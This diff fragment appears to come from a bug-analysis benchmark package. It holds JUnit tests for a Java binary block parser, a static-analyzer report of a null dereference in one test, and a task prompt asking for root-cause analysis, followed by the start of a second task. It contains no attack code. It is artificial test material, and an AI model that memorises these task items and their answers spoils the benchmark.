+    final JBBPFieldArrayBoolean bools = JBBPParser.prepare("bool[4];").parse(new byte[]{0, 0x43, 0x65, 0}).findFieldForType(JBBPFieldArrayBoolean.class);
+    assertEquals(4, bools.size());
+    assertFalse(bools.getAsBool(0));
+    assertTrue(bools.getAsBool(1));
+    assertTrue(bools.getAsBool(2));
+    assertFalse(bools.getAsBool(3));
+  }
+  
+  @Test
+  public void testParse_FixedBooleanArray_BigEndian() throws Exception {
+    final JBBPFieldArrayBoolean bools = JBBPParser.prepare(">bool[4];").parse(new byte[]{0, 0x43, 0x65, 0}).findFieldForType(JBBPFieldArrayBoolean.class);
+    assertEquals(4, bools.size());
+    assertFalse(bools.getAsBool(0));
+    assertTrue(bools.getAsBool(1));
+    assertTrue(bools.getAsBool(2));
+    assertFalse(bools.getAsBool(3));
+  }
+  
+  @Test
+  public void testParse_FixedBooleanArray_LittleEndian() throws Exception {
+    final JBBPFieldArrayBoolean bools = JBBPParser.prepare("<bool[4];").parse(new byte[]{0, 0x43, 0x65, 0}).findFieldForType(JBBPFieldArrayBoolean.class);
+    assertEquals(4, bools.size());
+    assertFalse(bools.getAsBool(0));
+    assertTrue(bools.getAsBool(1));
+    assertTrue(bools.getAsBool(2));
+    assertFalse(bools.getAsBool(3));
+  }
+  
+  @Test
+  public void testParse_NonFixedBooleanArray_Default() throws Exception {
+    final JBBPFieldArrayBoolean bools = JBBPParser.prepare("bool[_];").parse(new byte[]{0, 0x43, 0x65, 0}).findFieldForType(JBBPFieldArrayBoolean.class);
+    assertEquals(4, bools.size());
+    assertFalse(bools.getAsBool(0));
+    assertTrue(bools.getAsBool(1));
+    assertTrue(bools.getAsBool(2));
+    assertFalse(bools.getAsBool(3));
+  }
+  
+  @Test
+  public void testParse_NonFixedBooleanArray_BigEndian() throws Exception {
+    final JBBPFieldArrayBoolean bools = JBBPParser.prepare(">bool[_];").parse(new byte[]{0, 0x43, 0x65, 0}).findFieldForType(JBBPFieldArrayBoolean.class);
+    assertEquals(4, bools.size());
+    assertFalse(bools.getAsBool(0));
+    assertTrue(bools.getAsBool(1));
+    assertTrue(bools.getAsBool(2));
+    assertFalse(bools.getAsBool(3));
+  }
+  
+  @Test
+  public void testParse_NonFixedBooleanArray_LittleEndian() throws Exception {
+    final JBBPFieldArrayBoolean bools = JBBPParser.prepare("<bool[_];").parse(new byte[]{0, 0x43, 0x65, 0}).findFieldForType(JBBPFieldArrayBoolean.class);
+    assertEquals(4, bools.size());
+    assertFalse(bools.getAsBool(0));
+    assertTrue(bools.getAsBool(1));
+    assertTrue(bools.getAsBool(2));
+    assertFalse(bools.getAsBool(3));
+  }
+  
+  @Test(expected = EOFException.class)
+  public void testParse_FixedShortArray_EOFException() throws Exception {
+    JBBPParser.prepare("byte; short[1];").parse(new byte[]{1});
+  }
+
+  @Test
+  public void testParse_NonFixedShortArray_EOFException() throws Exception {
+    JBBPParser.prepare("byte; short[_];").parse(new byte[]{1});
+  }
+
+  @Test
+  public void testParse_FixedShortArray_Default() throws Exception {
+    final JBBPFieldArrayShort shorts = JBBPParser.prepare("short[2];").parse(new byte[]{(byte)0xF7, 0x43, 0x65, 0}).findFieldForType(JBBPFieldArrayShort.class);
+    assertEquals(2, shorts.size());
+    assertEquals((short)0xF743, shorts.getAsInt(0));
+    assertEquals((short)0x6500, shorts.getAsInt(1));
+  }
+  
+  @Test
+  public void testParse_FixedShortArray_BigEndian() throws Exception {
+    final JBBPFieldArrayShort shorts = JBBPParser.prepare(">short[2];").parse(new byte[]{(byte)0xF7, 0x43, 0x65, 0}).findFieldForType(JBBPFieldArrayShort.class);
+    assertEquals(2, shorts.size());
+    assertEquals((short)0xF743, shorts.getAsInt(0));
+    assertEquals((short)0x6500, shorts.getAsInt(1));
+  }
+  
+  @Test
+  public void testParse_FixedShortArray_LittleEndian() throws Exception {
+    final JBBPFieldArrayShort shorts = JBBPParser.prepare("<short[2];").parse(new byte[]{(byte)0xF7, 0x43, 0x65, 0}).findFieldForType(JBBPFieldArrayShort.class);
+    assertEquals(2, shorts.size());
+    assertEquals((short)0x43F7, shorts.getAsInt(0));
+    assertEquals((short)0x0065, shorts.getAsInt(1));
+  }
+  
+  @Test
+  public void testParse_NonFixedShortArray_Default() throws Exception {
+    final JBBPFieldArrayShort shorts = JBBPParser.prepare("short[_];").parse(new byte[]{(byte)0xF7, 0x43, 0x65, 0}).findFieldForType(JBBPFieldArrayShort.class);
+    assertEquals(2, shorts.size());
+    assertEquals((short)0xF743, shorts.getAsInt(0));
+    assertEquals((short)0x6500, shorts.getAsInt(1));
+  }
+  
+  @Test
+  public void testParse_NonFixedShortArray_BigEndian() throws Exception {
+    final JBBPFieldArrayShort shorts = JBBPParser.prepare(">short[_];").parse(new byte[]{(byte)0xF7, 0x43, 0x65, 0}).findFieldForType(JBBPFieldArrayShort.class);
+    assertEquals(2, shorts.size());
+    assertEquals((short)0xF743, shorts.getAsInt(0));
+    assertEquals((short)0x6500, shorts.getAsInt(1));
+  }
+  
+  @Test
+  public void testParse_NonFixedShortArray_LittleEndian() throws Exception {
+    final JBBPFieldArrayShort shorts = JBBPParser.prepare("<short[_];").parse(new byte[]{(byte)0xF7, 0x43, 0x65, 0}).findFieldForType(JBBPFieldArrayShort.class);
+    assertEquals(2, shorts.size());
+    assertEquals((short)0x43F7, shorts.getAsInt(0));
+    assertEquals((short)0x0065, shorts.getAsInt(1));
+  }
+  
+  @Test(expected = EOFException.class)
+  public void testParse_FixedUShortArray_EOFException() throws Exception {
+    JBBPParser.prepare("byte; ushort[1];").parse(new byte[]{1});
+  }
+
+  @Test
+  public void testParse_NonFixedUShortArray_EOFException() throws Exception {
+    JBBPParser.prepare("byte; ushort[_];").parse(new byte[]{1});
+  }
+
+  @Test
+  public void testParse_FixedUShortArray_Default() throws Exception {
+    final JBBPFieldArrayUShort shorts = JBBPParser.prepare("ushort[2];").parse(new byte[]{(byte)0xF7, 0x43, 0x65, 0}).findFieldForType(JBBPFieldArrayUShort.class);
+    assertEquals(2, shorts.size());
+    assertEquals(0xF743, shorts.getAsInt(0));
+    assertEquals(0x6500, shorts.getAsInt(1));
+  }
+  
+  @Test
+  public void testParse_FixedUShortArray_BigEndian() throws Exception {
+    final JBBPFieldArrayUShort shorts = JBBPParser.prepare(">ushort[2];").parse(new byte[]{(byte)0xF7, 0x43, 0x65, 0}).findFieldForType(JBBPFieldArrayUShort.class);
+    assertEquals(2, shorts.size());
+    assertEquals(0xF743, shorts.getAsInt(0));
+    assertEquals(0x6500, shorts.getAsInt(1));
+  }
+  
+  @Test
+  public void testParse_FixedUShortArray_LittleEndian() throws Exception {
+    final JBBPFieldArrayUShort shorts = JBBPParser.prepare("<ushort[2];").parse(new byte[]{(byte)0xF7, 0x43, 0x65, 0}).findFieldForType(JBBPFieldArrayUShort.class);
+    assertEquals(2, shorts.size());
+    assertEquals(0x43F7, shorts.getAsInt(0));
+    assertEquals(0x0065, shorts.getAsInt(1));
+  }
+  
+  @Test
+  public void testParse_NonFixedUShortArray_Default() throws Exception {
+    final JBBPFieldArrayUShort shorts = JBBPParser.prepare("ushort[_];").parse(new byte[]{(byte)0xF7, 0x43, 0x65, 0}).findFieldForType(JBBPFieldArrayUShort.class);
+    assertEquals(2, shorts.size());
+    assertEquals(0xF743, shorts.getAsInt(0));
+    assertEquals(0x6500, shorts.getAsInt(1));
+  }
+  
+  @Test
+  public void testParse_NonFixedUShortArray_BigEndian() throws Exception {
+    final JBBPFieldArrayUShort shorts = JBBPParser.prepare(">ushort[_];").parse(new byte[]{(byte)0xF7, 0x43, 0x65, 0}).findFieldForType(JBBPFieldArrayUShort.class);
+    assertEquals(2, shorts.size());
+    assertEquals(0xF743, shorts.getAsInt(0));
+    assertEquals(0x6500, shorts.getAsInt(1));
+  }
+  
+  @Test
+  public void testParse_NonFixedUShortArray_LittleEndian() throws Exception {
+    final JBBPFieldArrayUShort shorts = JBBPParser.prepare("<ushort[_];").parse(new byte[]{(byte)0xF7, 0x43, 0x65, 0}).findFieldForType(JBBPFieldArrayUShort.class);
+    assertEquals(2, shorts.size());
+    assertEquals(0x43F7, shorts.getAsInt(0));
+    assertEquals(0x0065, shorts.getAsInt(1));
+  }
+  
+  @Test(expected = EOFException.class)
+  public void testParse_FixedIntArray_EOFException() throws Exception {
+    JBBPParser.prepare("byte; int[1];").parse(new byte[]{1});
+  }
+
+  @Test
+  public void testParse_NonFixedIntArray_EOFException() throws Exception {
+    JBBPParser.prepare("byte; int[_];").parse(new byte[]{1});
+  }
+
+  @Test
+  public void testParse_FixedIntArray_Default() throws Exception {
+    final JBBPFieldArrayInt ints = JBBPParser.prepare("int[2];").parse(new byte[]{(byte)0xF7, 0x43, 0x65, 0x10, 0x35, 0x23, 0x67, (byte)0xA0}).findFieldForType(JBBPFieldArrayInt.class);
+    assertEquals(2, ints.size());
+    assertEquals(0xF7436510, ints.getAsInt(0));
+    assertEquals(0x352367A0, ints.getAsInt(1));
+  }
+  
+  @Test
+  public void testParse_FixedIntArray_BigEndian() throws Exception {
+    final JBBPFieldArrayInt ints = JBBPParser.prepare(">int[2];").parse(new byte[]{(byte)0xF7, 0x43, 0x65, 0x10, 0x35, 0x23, 0x67, (byte)0xA0}).findFieldForType(JBBPFieldArrayInt.class);
+    assertEquals(2, ints.size());
+    assertEquals(0xF7436510, ints.getAsInt(0));
+    assertEquals(0x352367A0, ints.getAsInt(1));
+  }
+  
+  @Test
+  public void testParse_FixedIntArray_LittleEndian() throws Exception {
+    final JBBPFieldArrayInt ints = JBBPParser.prepare("<int[2];").parse(new byte[]{(byte)0xF7, 0x43, 0x65, 0x10, 0x35, 0x23, 0x67, (byte)0xA0}).findFieldForType(JBBPFieldArrayInt.class);
+    assertEquals(2, ints.size());
+    assertEquals(0x106543F7, ints.getAsInt(0));
+    assertEquals(0xA0672335, ints.getAsInt(1));
+  }
+  
+  @Test
+  public void testParse_NonFixedIntArray_Default() throws Exception {
+    final JBBPFieldArrayInt ints = JBBPParser.prepare("int[_];").parse(new byte[]{(byte)0xF7, 0x43, 0x65, 0x10, 0x35, 0x23, 0x67, (byte)0xA0}).findFieldForType(JBBPFieldArrayInt.class);
+    assertEquals(2, ints.size());
+    assertEquals(0xF7436510, ints.getAsInt(0));
+    assertEquals(0x352367A0, ints.getAsInt(1));
+  }
+  
+  @Test
+  public void testParse_NonFixedIntArray_BigEndian() throws Exception {
+    final JBBPFieldArrayInt ints = JBBPParser.prepare(">int[_];").parse(new byte[]{(byte)0xF7, 0x43, 0x65, 0x10, 0x35, 0x23, 0x67, (byte)0xA0}).findFieldForType(JBBPFieldArrayInt.class);
+    assertEquals(2, ints.size());
+    assertEquals(0xF7436510, ints.getAsInt(0));
+    assertEquals(0x352367A0, ints.getAsInt(1));
+  }
+  
+  @Test
+  public void testParse_NonFixedIntArray_LittleEndian() throws Exception {
+    final JBBPFieldArrayInt ints = JBBPParser.prepare("<int[_];").parse(new byte[]{(byte)0xF7, 0x43, 0x65, 0x10, 0x35, 0x23, 0x67, (byte)0xA0}).findFieldForType(JBBPFieldArrayInt.class);
+    assertEquals(2, ints.size());
+    assertEquals(0x106543F7, ints.getAsInt(0));
+    assertEquals(0xA0672335, ints.getAsInt(1));
+  }
+  
+  @Test(expected = EOFException.class)
+  public void testParse_FixedLongArray_EOFException() throws Exception {
+    JBBPParser.prepare("byte; long[1];").parse(new byte[]{1});
+  }
+
+  @Test
+  public void testParse_NonFixedLongArray_EOFException() throws Exception {
+    JBBPParser.prepare("byte; long[_];").parse(new byte[]{1});
+  }
+
+  @Test
+  public void testParse_FixedLongArray_Default() throws Exception {
+    final JBBPFieldArrayLong longs = JBBPParser.prepare("long[2];").parse(new byte[]{(byte)0xF7, 0x43, 0x65, 0x10, 0x35, 0x23, 0x67, (byte)0xA0, 0x32, 0x33, 0x61, (byte)0xCA, (byte)0xBE,  0x22, 0x12, 0x30}).findFieldForType(JBBPFieldArrayLong.class);
+    assertEquals(2, longs.size());
+    assertEquals(0xF7436510352367A0L, longs.getAsLong(0));
+    assertEquals(0x323361CABE221230L, longs.getAsLong(1));
+  }
+  
+  @Test
+  public void testParse_FixedLongArray_BigEndian() throws Exception {
+    final JBBPFieldArrayLong longs = JBBPParser.prepare(">long[2];").parse(new byte[]{(byte)0xF7, 0x43, 0x65, 0x10, 0x35, 0x23, 0x67, (byte)0xA0, 0x32, 0x33, 0x61, (byte)0xCA, (byte)0xBE,  0x22, 0x12, 0x30}).findFieldForType(JBBPFieldArrayLong.class);
+    assertEquals(2, longs.size());
+    assertEquals(0xF7436510352367A0L, longs.getAsLong(0));
+    assertEquals(0x323361CABE221230L, longs.getAsLong(1));
+  }
+  
+  @Test
+  public void testParse_FixedLongArray_LittleEndian() throws Exception {
+    final JBBPFieldArrayLong longs = JBBPParser.prepare("<long[2];").parse(new byte[]{(byte)0xF7, 0x43, 0x65, 0x10, 0x35, 0x23, 0x67, (byte)0xA0, 0x32, 0x33, 0x61, (byte)0xCA, (byte)0xBE,  0x22, 0x12, 0x30}).findFieldForType(JBBPFieldArrayLong.class);
+    assertEquals(2, longs.size());
+    assertEquals(0xA0672335106543F7L, longs.getAsLong(0));
+    assertEquals(0x301222BECA613332L, longs.getAsLong(1));
+  }
+
+  @Test
+  public void testParse_NonFixedLongArray_Default() throws Exception {
+    final JBBPFieldArrayLong longs = JBBPParser.prepare("long[_];").parse(new byte[]{(byte) 0xF7, 0x43, 0x65, 0x10, 0x35, 0x23, 0x67, (byte) 0xA0, 0x32, 0x33, 0x61, (byte) 0xCA, (byte) 0xBE, 0x22, 0x12, 0x30}).findFieldForType(JBBPFieldArrayLong.class);
+    assertEquals(2, longs.size());
+    assertEquals(0xF7436510352367A0L, longs.getAsLong(0));
+    assertEquals(0x323361CABE221230L, longs.getAsLong(1));
+  }
+
+  @Test
+  public void testParse_NonFixedLongArray_BigEndian() throws Exception {
+    final JBBPFieldArrayLong longs = JBBPParser.prepare(">long[_];").parse(new byte[]{(byte) 0xF7, 0x43, 0x65, 0x10, 0x35, 0x23, 0x67, (byte) 0xA0, 0x32, 0x33, 0x61, (byte) 0xCA, (byte) 0xBE, 0x22, 0x12, 0x30}).findFieldForType(JBBPFieldArrayLong.class);
+    assertEquals(2, longs.size());
+    assertEquals(0xF7436510352367A0L, longs.getAsLong(0));
+    assertEquals(0x323361CABE221230L, longs.getAsLong(1));
+  }
+
+  @Test
+  public void testParse_NonFixedLongArray_LittleEndian() throws Exception {
+    final JBBPFieldArrayLong longs = JBBPParser.prepare("<long[_];").parse(new byte[]{(byte) 0xF7, 0x43, 0x65, 0x10, 0x35, 0x23, 0x67, (byte) 0xA0, 0x32, 0x33, 0x61, (byte) 0xCA, (byte) 0xBE, 0x22, 0x12, 0x30}).findFieldForType(JBBPFieldArrayLong.class);
+    assertEquals(2, longs.size());
+    assertEquals(0xA0672335106543F7L, longs.getAsLong(0));
+    assertEquals(0x301222BECA613332L, longs.getAsLong(1));
+  }
+  
+  @Test
+  public void testParse_VarBitArray() throws Exception {
+    final JBBPFieldArrayBit array = JBBPParser.prepare("byte size; bit:4[size];").parse(new byte[]{8, 0x12, 0x34, 0x56, 0x78}).findFieldForType(JBBPFieldArrayBit.class);
+    assertEquals(8, array.size());
+    assertEquals(2, array.getAsInt(0));
+    assertEquals(1, array.getAsInt(1));
+    assertEquals(4, array.getAsInt(2));
+    assertEquals(3, array.getAsInt(3));
+    assertEquals(6, array.getAsInt(4));
+    assertEquals(5, array.getAsInt(5));
+    assertEquals(8, array.getAsInt(6));
+    assertEquals(7, array.getAsInt(7));
+  }
+
+  @Test
+  public void testParse_VarBitArrayWhenSizeInStruct() throws Exception {
+    final JBBPFieldArrayBit array = JBBPParser.prepare("str {byte size;} bit:4[str.size];").parse(new byte[]{8, 0x12, 0x34, 0x56, 0x78}).findFieldForType(JBBPFieldArrayBit.class);
+    assertEquals(8, array.size());
+    assertEquals(2, array.getAsInt(0));
+    assertEquals(1, array.getAsInt(1));
+    assertEquals(4, array.getAsInt(2));
+    assertEquals(3, array.getAsInt(3));
+    assertEquals(6, array.getAsInt(4));
+    assertEquals(5, array.getAsInt(5));
+    assertEquals(8, array.getAsInt(6));
+    assertEquals(7, array.getAsInt(7));
+  }
+
+  @Test
+  public void testParse_WholeBitStream() throws Exception {
+    final JBBPFieldArrayBit array = JBBPParser.prepare("bit:4[_];").parse(new byte[]{0x12, 0x34, 0x56, 0x78}).findFieldForType(JBBPFieldArrayBit.class);
+    assertEquals(2, array.getAsInt(0));
+    assertEquals(1, array.getAsInt(1));
+    assertEquals(4, array.getAsInt(2));
+    assertEquals(3, array.getAsInt(3));
+    assertEquals(6, array.getAsInt(4));
+    assertEquals(5, array.getAsInt(5));
+    assertEquals(8, array.getAsInt(6));
+    assertEquals(7, array.getAsInt(7));
+  }
+
+  @Test
+  public void testParse_Bit_ArrayForCalculatedLength() throws Exception {
+    final JBBPFieldArrayBit array = JBBPParser.prepare("ubyte len; bit:4[2*len*6/2-4];").parse(new byte[]{2, 0x12, 0x34, 0x56, 0x78}).findFieldForType(JBBPFieldArrayBit.class);
+
+    assertEquals(2, array.getAsInt(0));
+    assertEquals(1, array.getAsInt(1));
+    assertEquals(4, array.getAsInt(2));
+    assertEquals(3, array.getAsInt(3));
+    assertEquals(6, array.getAsInt(4));
+    assertEquals(5, array.getAsInt(5));
+    assertEquals(8, array.getAsInt(6));
+    assertEquals(7, array.getAsInt(7));
+  }
+  
+  
+  @Test
+  public void testParse_VarByteArray() throws Exception {
+    final JBBPFieldArrayByte array = JBBPParser.prepare("byte size; byte[size];").parse(new byte[]{4,1,2,3,4}).findFieldForType(JBBPFieldArrayByte.class);
+    assertEquals(4, array.size());
+    assertEquals(1, array.getAsInt(0));
+    assertEquals(2, array.getAsInt(1));
+    assertEquals(3, array.getAsInt(2));
+    assertEquals(4, array.getAsInt(3));
+  }
+  
+  @Test
+  public void testParse_VarByteArrayWhenSizeInStruct() throws Exception {
+    final JBBPFieldArrayByte array = JBBPParser.prepare("str {byte size;} byte[str.size];").parse(new byte[]{4,1,2,3,4}).findFieldForType(JBBPFieldArrayByte.class);
+    assertEquals(4, array.size());
+    assertEquals(1, array.getAsInt(0));
+    assertEquals(2, array.getAsInt(1));
+    assertEquals(3, array.getAsInt(2));
+    assertEquals(4, array.getAsInt(3));
+  }
+  
+  @Test
+  public void testParse_WholeByteStream() throws Exception {
+    final JBBPFieldArrayByte array = JBBPParser.prepare("byte[_];").parse(new byte[]{1, 2, 3, 4}).findFieldForType(JBBPFieldArrayByte.class);
+    assertEquals(1, array.getAsInt(0));
+    assertEquals(2, array.getAsInt(1));
+    assertEquals(3, array.getAsInt(2));
+    assertEquals(4, array.getAsInt(3));
+  }
+  
+  @Test
+  public void testParse_Byte_ArrayForCalculatedLength() throws Exception {
+    final JBBPFieldArrayByte array = JBBPParser.prepare("ubyte len; byte[len*6/2-2];").parse(new byte[]{2, 1, 2, 3, 4}).findFieldForType(JBBPFieldArrayByte.class);
+
+    assertEquals(1, array.getAsInt(0));
+    assertEquals(2, array.getAsInt(1));
+    assertEquals(3, array.getAsInt(2));
+    assertEquals(4, array.getAsInt(3));
+  }
+  
+  @Test
+  public void testParse_Boolean_ArrayForCalculatedLength() throws Exception {
+    final JBBPFieldArrayBoolean array = JBBPParser.prepare("ubyte len; bool[len*6/2-2];").parse(new byte[]{2, 1, 2, 0, 4}).findFieldForType(JBBPFieldArrayBoolean.class);
+
+    assertTrue(array.getAsBool(0));
+    assertTrue(array.getAsBool(1));
+    assertFalse(array.getAsBool(2));
+    assertTrue(array.getAsBool(3));
+  }
+  
+  @Test
+  public void testParse_NegativeCalculatedArrayLength() throws Exception {
+    try{
+      JBBPParser.prepare("ubyte len; byte[len-4];").parse(new byte[]{2, 1, 2, 3, 4});
+      fail("Must throw JBBPParsingException for negative array length");
+    }catch(JBBPParsingException ex){
+      
+    }
+  }
+  
+  @Test
+  public void testParse_NegativeArrayLength() throws Exception {
+    try{
+      JBBPParser.prepare("ubyte len; byte[-2];").parse(new byte[]{2, 1, 2, 3, 4});
+      fail("Must throw JBBPParsingException for negative array length");
+    }catch(JBBPParsingException ex){
+      
+    }
+  }
+  
+  @Test(expected = EOFException.class)
+  public void testParse_ErrorForLessDataThanExpected() throws Exception {
+    JBBPParser.prepare("ubyte len; byte[5];").parse(new byte[]{2, 1, 2, 3, 4});
+  }
+  
+  @Test
+  public void testParse_WholeStructStream() throws Exception {
+    final JBBPFieldArrayStruct array = JBBPParser.prepare("struct [_] {byte;}").parse(new byte[]{1, 2, 3, 4}).findFieldForType(JBBPFieldArrayStruct.class);
+    assertEquals(4, array.size());
+    assertEquals(1, array.getElementAt(0).findFieldForType(JBBPFieldByte.class).getAsInt());
+    assertEquals(2, array.getElementAt(1).findFieldForType(JBBPFieldByte.class).getAsInt());
+    assertEquals(3, array.getElementAt(2).findFieldForType(JBBPFieldByte.class).getAsInt());
+    assertEquals(4, array.getElementAt(3).findFieldForType(JBBPFieldByte.class).getAsInt());
+  }
+
+  @Test
+  public void testParse_BitArray_IgnoredForZeroLength() throws Exception {
+    final JBBPFieldStruct parsed = JBBPParser.prepare("byte len; bit:4 [len]; ushort;").parse(new byte[]{0x0, 0x01, (byte) 0x02});
+    assertNull(parsed.findFieldForType(JBBPFieldArrayBit.class));
+    assertEquals(0x0102, parsed.findFieldForType(JBBPFieldUShort.class).getAsInt());
+  }
+  
+  @Test
+  public void testParse_BoolArray_IgnoredForZeroLength() throws Exception {
+    final JBBPFieldStruct parsed = JBBPParser.prepare("byte len; bool [len]; ushort;").parse(new byte[]{0x0, 0x01, (byte) 0x02});
+    assertNull(parsed.findFieldForType(JBBPFieldArrayBoolean.class));
+    assertEquals(0x0102, parsed.findFieldForType(JBBPFieldUShort.class).getAsInt());
+  }
+  
+  @Test
+  public void testParse_ByteArray_IgnoredForZeroLength() throws Exception {
+    final JBBPFieldStruct parsed = JBBPParser.prepare("byte len; byte [len]; ushort;").parse(new byte[]{0x0, 0x01, (byte) 0x02});
+    assertNull(parsed.findFieldForType(JBBPFieldArrayByte.class));
+    assertEquals(0x0102, parsed.findFieldForType(JBBPFieldUShort.class).getAsInt());
+  }
+  
+  @Test
+  public void testParse_UByteArray_IgnoredForZeroLength() throws Exception {
+    final JBBPFieldStruct parsed = JBBPParser.prepare("byte len; ubyte [len]; ushort;").parse(new byte[]{0x0, 0x01, (byte) 0x02});
+    assertNull(parsed.findFieldForType(JBBPFieldArrayUByte.class));
+    assertEquals(0x0102, parsed.findFieldForType(JBBPFieldUShort.class).getAsInt());
+  }
+  
+  @Test
+  public void testParse_ShortArray_IgnoredForZeroLength() throws Exception {
+    final JBBPFieldStruct parsed = JBBPParser.prepare("byte len; short [len]; ushort;").parse(new byte[]{0x0, 0x01, (byte) 0x02});
+    assertNull(parsed.findFieldForType(JBBPFieldArrayShort.class));
+    assertEquals(0x0102, parsed.findFieldForType(JBBPFieldUShort.class).getAsInt());
+  }
+  
+  @Test
+  public void testParse_UShortArray_IgnoredForZeroLength() throws Exception {
+    final JBBPFieldStruct parsed = JBBPParser.prepare("byte len; ushort [len]; ushort;").parse(new byte[]{0x0, 0x01, (byte) 0x02});
+    assertNull(parsed.findFieldForType(JBBPFieldArrayUShort.class));
+    assertEquals(0x0102, parsed.findFieldForType(JBBPFieldUShort.class).getAsInt());
+  }
+  
+  @Test
+  public void testParse_IntArray_IgnoredForZeroLength() throws Exception {
+    final JBBPFieldStruct parsed = JBBPParser.prepare("byte len; int [len]; ushort;").parse(new byte[]{0x0, 0x01, (byte) 0x02});
+    assertNull(parsed.findFieldForType(JBBPFieldArrayInt.class));
+    assertEquals(0x0102, parsed.findFieldForType(JBBPFieldUShort.class).getAsInt());
+  }
+  
+  @Test
+  public void testParse_LongArray_IgnoredForZeroLength() throws Exception {
+    final JBBPFieldStruct parsed = JBBPParser.prepare("byte len; long [len]; ushort;").parse(new byte[]{0x0, 0x01, (byte) 0x02});
+    assertNull(parsed.findFieldForType(JBBPFieldArrayLong.class));
+    assertEquals(0x0102, parsed.findFieldForType(JBBPFieldUShort.class).getAsInt());
+  }
+  
+  @Test
+  public void testParse_StructArray_IgnoredForZeroLength() throws Exception {
+    final JBBPFieldStruct parsed = JBBPParser.prepare("byte len; sss [len] { byte a; byte b; byte c;}  ushort;").parse(new byte[]{0x0, 0x01, (byte) 0x02});
+    assertNull(parsed.findFieldForType(JBBPFieldArrayStruct.class));
+    assertEquals(0x0102, parsed.findFieldForType(JBBPFieldUShort.class).getAsInt());
+  }
+  
+  @Test
+  public void testParse_StructArray_FixedSize() throws Exception {
+    final JBBPFieldStruct parsed = JBBPParser.prepare("sss [1] { byte a; byte b; byte c;}").parse(new byte[]{0x0, 0x01, (byte) 0x02});
+    final JBBPFieldArrayStruct struct = parsed.findFieldForPathAndType("sss", JBBPFieldArrayStruct.class);
+    assertEquals(1, struct.size());
+    final JBBPFieldStruct readStruct = struct.getElementAt(0);
+    assertEquals(0,readStruct.findFieldForNameAndType("a", JBBPFieldByte.class).getAsInt());
+    assertEquals(1,readStruct.findFieldForNameAndType("b", JBBPFieldByte.class).getAsInt());
+    assertEquals(2,readStruct.findFieldForNameAndType("c", JBBPFieldByte.class).getAsInt());
+  }
+  
+  @Test
+  public void testParse_StructArray_WholeStream() throws Exception {
+    final JBBPFieldStruct parsed = JBBPParser.prepare("sss [_] { byte a; byte b; byte c;}").parse(new byte[]{0x0, 0x01, (byte) 0x02});
+    final JBBPFieldArrayStruct struct = parsed.findFieldForPathAndType("sss", JBBPFieldArrayStruct.class);
+    assertEquals(1, struct.size());
+    final JBBPFieldStruct readStruct = struct.getElementAt(0);
+    assertEquals(0,readStruct.findFieldForNameAndType("a", JBBPFieldByte.class).getAsInt());
+    assertEquals(1,readStruct.findFieldForNameAndType("b", JBBPFieldByte.class).getAsInt());
+    assertEquals(2,readStruct.findFieldForNameAndType("c", JBBPFieldByte.class).getAsInt());
+  }
+  
+  @Test
+  public void testParse_EmptyStructArray_WholeStream() throws Exception {
+    final JBBPFieldStruct parsed = JBBPParser.prepare("sss [_] { }").parse(new byte[0]);
+    assertNull(parsed.findFieldForPathAndType("sss", JBBPFieldArrayStruct.class));
+  }
+  
+  @Test
+  public void testParse_EmptyStructArrayInsideStruct_WholeStream() throws Exception {
+    final JBBPFieldStruct parsed = JBBPParser.prepare("sss { sss2[_]{}}").parse(new byte[0]);
+    assertNull(parsed.findFieldForPathAndType("sss", JBBPFieldStruct.class));
+  }
+  
+  @Test
+  public void testParse_SkipStructureForZeroItems() throws Exception {
+    final JBBPFieldStruct parsed = JBBPParser.prepare("byte len; sss [len]{ sss2[10]{byte;}} byte end;").parse(new byte[]{0x00,0x1F});
+    assertEquals(0,parsed.findFieldForPathAndType("len", JBBPFieldByte.class).getAsInt());
+    assertNull(parsed.findFieldForPathAndType("sss", JBBPFieldStruct.class));
+    assertEquals(0x1F,parsed.findFieldForPathAndType("end", JBBPFieldByte.class).getAsInt());
+  }
+  
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `parsed.findFieldForType(com.igormaznitsa.jbbp.model.JBBPFieldUShort)` could be null and is dereferenced at line 1030.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void JBBPParserTest.testParse_StructArray_IgnoredForZeroLength()
+
+### Procedure Id:
+com.igormaznitsa.jbbp.JBBPParserTest.testParse_StructArray_IgnoredForZeroLength():void.ec8fd5b1821eaa0b7180616f90034e5f
+
+### File:
+src/test/java/com/igormaznitsa/jbbp/JBBPParserTest.java
+
+### Key:
+JBBPParserTest.java|testParse_StructArray_IgnoredForZeroLength|NULL_DEREFERENCE
+
+### Node Key:
+cec911882795962a5c1a6b4bae2d5de6
+
+### Hash:
+be2f16022215f8bb234b30cb699ae6cc
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9103/instruction.md b/inferredbugs-9103/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..d8de93429cd8fc8ec957eed35d019e2e1accaf71
--- /dev/null
+++ b/inferredbugs-9103/instruction.md
@@ -0,0 +1,489 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** java-binary-block-parser
+**Bug ID:** 39
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/* 
+ * Copyright 2014 Igor Maznitsa (http://www.igormaznitsa.com).
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.igormaznitsa.jbbp.io;
+
+import static com.igormaznitsa.jbbp.io.JBBPOut.*;
+import java.io.*;
+import static org.junit.Assert.*;
+import org.junit.Test;
+
+public class JBBPOutTest {
+
